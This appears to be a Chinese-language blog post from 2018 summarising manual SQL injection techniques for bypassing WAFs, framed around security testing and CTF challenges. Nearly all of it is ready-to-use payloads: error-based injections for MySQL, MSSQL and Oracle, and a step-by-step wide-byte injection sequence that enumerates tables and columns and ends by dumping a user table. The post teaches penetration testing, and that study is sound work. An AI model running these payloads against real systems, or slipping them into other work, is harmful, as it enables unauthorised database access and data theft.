SQL手工注入技巧总结

在安全测试的时候,很多厂商都做了waf拦截或源码防护,这时候就需要我们去发现一些工具做不到的点进行手工注入。

基于报错的注入

分为两种,直接填入表达式报错,或使用外层表达式报错时返回被嵌套的子查询的结果

e.g

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#Mysql
Where id=1 and !(Select * from (select user())x)-~0; //Big Int Overflow(大整数溢出报错)
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
#Mssql
?id=@@version
#Oracle
1=2 or 1=ordsys.ord_dicom.getmappingxpath({SQL in HERE},'a','b');
1=2 or 1=ctxsys.ctx_query.chk_xpath(user,'a','b');
123 and 1=utl_inaddr.get_host_name/address(({SQL in HERE}))
123 and 1=ctxsys.drithsx.sn(1,(SQL in HERE))
' or 1=decode((select length(user) from dual),6,1,(select char(39) from dual));

宽字节注入

一般情况下,常规检测不行的时候,如果确定有注入,如CTF,就可以考虑宽字节注入。

测试是否是宽字节注入使用%df'即可。

1
******/index.php?id=2%df'

出现报错信息,确定为宽字节注入,接下来就可以使用常规步骤注入。

1
2
3
4
5
******/index.php?id=2%bf' order by num %23 #爆字段长度
******/index.php?id=2%bf' union select 1,2,3 %23 #爆显示位
******/index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23 #爆数据库信息
******/index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23 #爆字段
/index.php?id=2%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23 #c成功脱库

Comments

2018-02-21

⬆︎TOP